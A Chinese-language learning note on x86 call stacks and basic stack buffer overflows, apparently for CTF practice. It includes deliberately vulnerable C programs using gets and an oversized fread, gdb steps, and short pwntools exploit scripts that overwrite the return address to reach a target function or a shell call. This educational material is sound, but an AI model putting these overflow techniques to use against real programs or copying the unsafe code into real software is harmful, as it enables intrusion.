1、最简单函数调用栈图如下(vc++6.0编译出的汇编代码):
push 2,push 1将俩个参数压栈,
call 0040100A :将eip要执行的下一条指令入栈,在执行jmp 0040100A
push ebp :ebp入栈,保留调用前的栈底
mov ebp,esp 提升堆栈
sub ESP,40 提升堆栈
push ebx ; push esi;push edi 保留现场
mov ecx,0x10 下面4条是填充缓冲区
mov eax,0xcccccccc
lea edi,dword prtf ds:[ebp-0x40]
rep stosd
再往下就是调用函数过程,一般将函数的返回值放到eax寄存器中,这里就不写了
pop edi 恢复现场
pop esi
pop ebx
mov esp,ebp 下面两条相当于执行leave指令:降低堆栈
pop ebp
ret pop eip //相当于eip:401171也就是当初call入栈的地址,实际栈溢出相当于,一个函数没控制缓存区的大小,相当于一个局部变量把CCCCCCC填充的缓存区都覆盖满了,并且把ebp及ebp+4也就是函数返回地址也给覆盖,在执行ret 时=>pop eip,eip=ebp+4,达到控制程序执行流程
最后为了堆栈平衡,会 esp+8,想当于把俩个参数退出堆栈。
2、gcc编译出来的函数调用栈如下:
汇编代码
跟vc++ 6.0编译器比,相当于少了保留ebx,esi,edi寄存器的值,和填充缓存区CCCCCCCCC的动作
最后差别也是用leave执行和ret结束,eax保存运算的结果。
3、多层函数嵌套
4、最后栈溢出的demo
#include <stdio.h>
#include <stdlib.h>
void vul()
{
char buf[64] = {0};
FILE *fp = NULL;
if(!(fp=fopen("input.txt","r")))
{
perror("fopen");
exit(-1);
}
fread(buf,1024,1,fp);
printf("data:%s
",buf);
}
void test()
{
printf("contronl this data flow!!!
");
}
int main()
{
vul();
return 0;
}
目的是为了溢出执行test函数,1、首先确定缓冲区溢出大小,IDA查看4ch,
在ida查看test函数地址
或者gdb找test函数地址
最终exp如下:
堆栈图如下,在执行ret时,会pop eip,此时esp指向test函数地址,就会执行test函数,劫持数据流。
在ret前下断点,查看栈顶存放的是0x80485a2也就是test函数的首地址
gdb StackOverflow3
b vul
r
disassemble
b fread
c
finish
p &buff
x /10wx &buf
b *0x080485a1
在函数的ret函数下断,执行完ret=> pop eip ,eip会赋值为0x80485a2也就是test函数地址。
这时候数据流就来到了test函数
最终效果就是这样:
如果正常执行的顺序,在执行到ret后,eip会为0x80485d1,继续向下执行:
5、在看另一个栈溢出的demo
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
确定缓冲区大小:
确定success地址:
编写Poc,attach的位置是在ret函数地址:
import pwn
pwn.context.log_level = 'DEBUG'
pwn.context.terminal = ['tmux','splitw','-h']
t = pwn.process('./StackOverflow1')
pwn.gdb.attach(t, "b * 0x0804847a")
t.sendline('a'*20+'bbbb'+pwn.p32(0x0804843B))
t.interactive()
在pwndbg中查看断点。
c继续执行。
当执行,ret=>pop eip=>eip就为success地址,下一步就是执行success函数。
上面就是pwntools结合pwndbg调试下断的demo,后面可能总会用到
上面俩个demo比较简单,填充数据的大小实际,就是找在执行危险函数前,s相对于ebp的大小,上面俩个例子是能直接从IDA找到,下面看这个demo。
这里是相对esp地址,所以要在gets函数下断。算出esp=0xffffd520,ebp=0xffffd5a8, s 相对于 esp 的索引为[esp+80h-64h]= [esp+0x1c],所以s的地址为 0xffffd53c,s相对ebp偏移是6c=108+"bbbb"
下面就是寻找系统调用函数。在IDA中搜索(alt+T)可以利用来的系统sh调用函数
exp:
from pwn import *
pwn1 = process('./pwn1')
target = 0x804863a
pwn1.sendline('A' * (108)+'bbbb' + p32(target))
pwn1.interactive()
明天学习计划:ret2libc及rop,ELF文件结构
栈溢出保护canary保护,CTF-wiki理解有点困难,还有格式化字符串漏洞,需要手调一下这个链接内容:https://bbs.pediy.com/thread-229447-1.htm
https://bbs.pediy.com/thread-229447-1.htm
主要看的文章:https://www.freebuf.com/news/182894.html
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2libc
https://bbs.pediy.com/thread-248682.htm